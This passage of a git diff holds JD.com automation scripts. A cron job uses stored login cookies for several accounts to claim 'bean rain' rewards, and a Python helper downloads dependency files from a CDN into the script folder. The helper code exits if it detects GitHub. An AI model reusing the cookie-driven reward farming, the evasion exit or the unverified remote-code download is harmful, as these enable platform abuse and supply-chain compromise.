开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } \ No newline at end of file diff --git a/jd_redrain_half.js b/jd_redrain_half.js new file mode 100644 index 0000000..85c0be1 --- /dev/null +++ b/jd_redrain_half.js @@ -0,0 +1,298 @@ +/* +半点京豆雨 +更新时间:2022-1-11 +脚本兼容: Quantumult X, Surge, Loon, JSBox, Node.js +by:msechen 感谢小手大佬修改接口 +==============Quantumult X============== +[task_local] +#半点京豆雨 +30 21,22 * * * https://raw.githubusercontent.com/msechen/jdrain/main/jd_live_redrain.js, tag=半点京豆雨, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true +==============Loon============== +[Script] +cron "30 21,22 * * *" script-path=https://raw.githubusercontent.com/msechen/jdrain/main/jd_redrain_half.js,tag=半点京豆雨 +================Surge=============== +半点京豆雨 = type=cron,cronexp="30 21,22 * * *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/msechen/jdrain/main/jd_redrain_half.js +===============小火箭========== +半点京豆雨 = type=cron,script-path=https://raw.githubusercontent.com/msechen/jdrain/main/jd_redrain_half.js, cronexpr="30 21,22 * * *", timeout=3600, enable=true +*/ +const $ = new Env('半点京豆雨'); +let allMessage = '', id = ''; +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', message; +let jd_redrain_half_url = ''; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.jd_redrain_half_url) jd_redrain_half_url = process.env.jd_redrain_half_url + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { }; + if (JSON.stringify(process.env).indexOf('GITHUB') > -1) process.exit(0) +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +const JD_API_HOST = 'https://api.m.jd.com/api'; +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/', { "open-url": "https://bean.m.jd.com/" }); + return; + } + if (!jd_redrain_half_url) { + $.log(`尝试使用默认远程url`); + jd_redrain_half_url = 'https://raw.githubusercontent.com/Ca11back/scf-experiment/master/json/redrain_half.json' + } + let hour = (new Date().getUTCHours() + 8) % 24; + $.log(`\n甘露殿【https://t.me/jdredrain】提醒你:正在远程获取${hour}点30分京豆雨ID\n`); + await $.wait(1000); + let redIds = await getRedRainIds(jd_redrain_half_url) + if (!redIds || !redIds.length) { + $.log(`尝试使用cdn`); + jd_redrain_half_url = 'https://raw.fastgit.org/Ca11back/scf-experiment/master/json/redrain_half.json' + redIds = await getRedRainIds(jd_redrain_half_url) + if (!redIds || !redIds.length) { + $.log(`默认远程url获取失败`); + return + } + } + for (let id of redIds) { + if (!/^RRA/.test(id)) { + console.log(`\nRRA: "${id}"不符合规则\n`); + continue; + } + console.log(`\n甘露殿【https://t.me/jdredrain】提醒你:龙王就位:${id},正在领取${hour}点30分京豆雨\n`); + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + message = ''; + await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/`, { "open-url": "https://bean.m.jd.com/" }); + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await queryRedRainTemplateNew(id) + } + } + } + if (allMessage) { + if ($.isNode()) await notify.sendNotify(`${$.name}`, `${allMessage}`); + $.msg($.name, '', allMessage); + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + +// 查询红包 +function queryRedRainTemplateNew(actId) { + const body = { "actId": actId }; + return new Promise(async resolve => { + const options = { + url: `https://api.m.jd.com/client.action?appid=redrain-2021&functionId=queryRedRainTemplateNew&client=wh5&clientVersion=1.0.0&body=${encodeURIComponent(JSON.stringify(body))}&_=${(new Date).getTime()}`, + headers: { + Host: "api.m.jd.com", + origin: 'https://h5.m.jd.com/', + Accept: "*/*", + "Accept-Language": "zh-cn", + "Accept-Encoding": "gzip, deflate, br", + Cookie: cookie, + "User-Agent": "Mozilla/5.0 (Linux; Android 10; WLZ-AN00 Build/HUAWEIWLZ-AN00; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/89.0.4389.72 MQQBrowser/6.2 TBS/045811 Mobile Safari/537.36 MMWEBID/2874 MicroMessenger/8.0.15.2020(0x28000F39) Process/tools WeChat/arm64 Weixin NetType/4G Language/zh_CN ABI/arm64", + "Referer": `https://h5.m.jd.com/` + } + } + $.get(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`queryRedRainTemplateNew api请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + await doInteractiveAssignment(data.activityInfo.encryptProjectId, data.activityInfo.encryptAssignmentId); + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +// 拆红包 +function doInteractiveAssignment(encryptProjectId, encryptAssignmentId) { + const body = { "encryptProjectId": encryptProjectId, "encryptAssignmentId": encryptAssignmentId, "completionFlag": true, "sourceCode": "acehby20210924" }; + return new Promise(async resolve => { + const options = { + url: `https://api.m.jd.com/client.action?appid=redrain-2021&functionId=doInteractiveAssignment&client=wh5&clientVersion=1.0.0&body=${encodeURIComponent(JSON.stringify(body))}&_=${(new Date).getTime()}`, + headers: { + Host: "api.m.jd.com", + origin: 'https://h5.m.jd.com/', + Accept: "*/*", + "Accept-Language": "zh-cn", + "Accept-Encoding": "gzip, deflate, br", + Cookie: cookie, + "User-Agent": "Mozilla/5.0 (Linux; Android 10; WLZ-AN00 Build/HUAWEIWLZ-AN00; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/89.0.4389.72 MQQBrowser/6.2 TBS/045811 Mobile Safari/537.36 MMWEBID/2874 MicroMessenger/8.0.15.2020(0x28000F39) Process/tools WeChat/arm64 Weixin NetType/4G Language/zh_CN ABI/arm64", + "Referer": `https://h5.m.jd.com/` + } + } + $.get(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`doInteractiveAssignment api请求失败,请检查网路重试`) + } else { + if (data) { + if (data.subCode == "0") { + console.log(`${data.rewardsInfo.successRewards[3][0].rewardName}个`); + } else { + console.log(data); + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + + +function taskUrl(function_id, body = {}) { + return { + url: `${JD_API_HOST}?functionId=${function_id}&body=${escape(JSON.stringify(body))}&client=wh5&clientVersion=1.0.0&_=${new Date().getTime() + new Date().getTimezoneOffset() * 60 * 1000 + 8 * 60 * 60 * 1000}`, + headers: { + "Accept": "*/*", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Content-Type": "application/x-www-form-urlencoded", + "Host": "api.m.jd.com", + "Referer": `https://h5.m.jd.com/active/redrain/index.html?id=${$.activityId}&lng=0.000000&lat=0.000000&sid=&un_area=`, + "Cookie": cookie, + "User-Agent": "JD4iPhone/9.4.5 CFNetwork/1209 Darwin/20.2.0" + } + } +} + +function getRedRainIds(url) { + return new Promise(async resolve => { + const options = { + url: `${url}?${new Date()}`, "timeout": 10000, headers: { + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88" + } + }; + if ($.isNode() && process.env.TG_PROXY_HOST && process.env.TG_PROXY_PORT) { + const tunnel = require("tunnel"); + const agent = { + https: tunnel.httpsOverHttp({ + proxy: { + host: process.env.TG_PROXY_HOST, + port: process.env.TG_PROXY_PORT * 1 + } + }) + } + Object.assign(options, { agent }) + } + $.get(options, async (err, resp, data) => { + try { + if (err) { + } else { + if (data) data = JSON.parse(data) + } + } catch (e) { + // $.logErr(e, resp) + } finally { + resolve(data); + } + }) + await $.wait(10000) + resolve([]); + }) +} + +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '不要在BoxJS手动复制粘贴修改cookie') + return []; + } + } +} +// prettier-ignore +function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } diff --git a/jd_scripts_check_dependence.py b/jd_scripts_check_dependence.py new file mode 100644 index 0000000..5b065c7 --- /dev/null +++ b/jd_scripts_check_dependence.py @@ -0,0 +1,614 @@ +# -*- coding: UTF-8 -*- +# 作者仓库:https://github.com/spiritLHL/qinglong_auto_tools +# 觉得不错麻烦点个star谢谢 +# 频道:https://t.me/qinglong_auto_tools + + +''' +cron: 0 +new Env('修复脚本依赖文件'); +''' + +import os, requests +import os.path +import time + +# from os import popen + +# 感谢spiritLHL大佬的脚本! +# 只修复依赖文件(jdCookie.js那种)!!不修复环境依赖(pip install aiohttp)!! +# 如要运行脚本 请在配置文件添加 +# export ec_fix_dep="true" + +# 如果运行完本脚本仍然出错,请使用Faker一键部署脚本重新部署 + +txtx = "青龙配置文件中的config中填写下列变量启用对应功能\n\n增加缺失依赖文件(推荐)\n填写export ec_fix_dep=\"true\"\n" +print(txtx) + +try: + if os.environ["ec_fix_dep"] == "true": + print("已配置依赖文件缺失修复\n") + fix = 1 + else: + fix = 0 +except: + fix = 0 + print("#默认不修复缺失依赖文件,有需求") + print("#请在配置文件中配置\nexport ec_fix_dep=\"true\" \n#开启脚本依赖文件缺失修复\n") + +try: + if os.environ["ec_ref_dep"] == "true": + print("已配置依赖文件老旧更新\n") + ref = 1 + else: + ref = 0 +except: + ref = 0 + print("#默认不更新老旧依赖文件,有需求") + print("#请在配置文件中配置\nexport ec_re_dep=\"true\" #开启脚本依赖文件更新\n") + + +def traversalDir_FirstDir(path): + list = [] + if (os.path.exists(path)): + files = os.listdir(path) + for file in files: + m = os.path.join(path, file) + if (os.path.isdir(m)): + h = os.path.split(m) + list.append(h[1]) + print("文件夹名字有:") + print(list) + return list + + +def check_dependence(file_path): + try: + res = requests.get("https://cdn.jsdelivr.net/gh/spiritLHL/dependence_scripts@master/contents.json").json() + except: + print("网络波动,稍后尝试") + time.sleep(5) + try: + res = requests.get("https://cdn.jsdelivr.net/gh/spiritLHL/dependence_scripts@master/contents.json").json() + except: + print("网络问题无法获取仓库文件列表,终止检索") + return + + dependence_scripts_name = [] + for i in res: + dependence_scripts_name.append(i["name"]) + + if "db" in os.listdir("../"): + dir_list = os.listdir(file_path) + else: + dir_list = os.listdir("." + file_path) + + # 查询 + for i in dependence_scripts_name: + if i not in dir_list and i != "utils" and i != "function": + print("缺失文件 {}{}".format(file_path, i)) + # 修补 + try: + if fix == 1: + print("增加文件 {}{}".format(file_path, i)) + r = requests.get( + "https://cdn.jsdelivr.net/gh/spiritlhl/dependence_scripts@master/" + i).text + if "db" in os.listdir("../"): + with open(file_path + i, "w", encoding="utf-8") as fe: + fe.write(r) + else: + with open("." + file_path + i, "w", 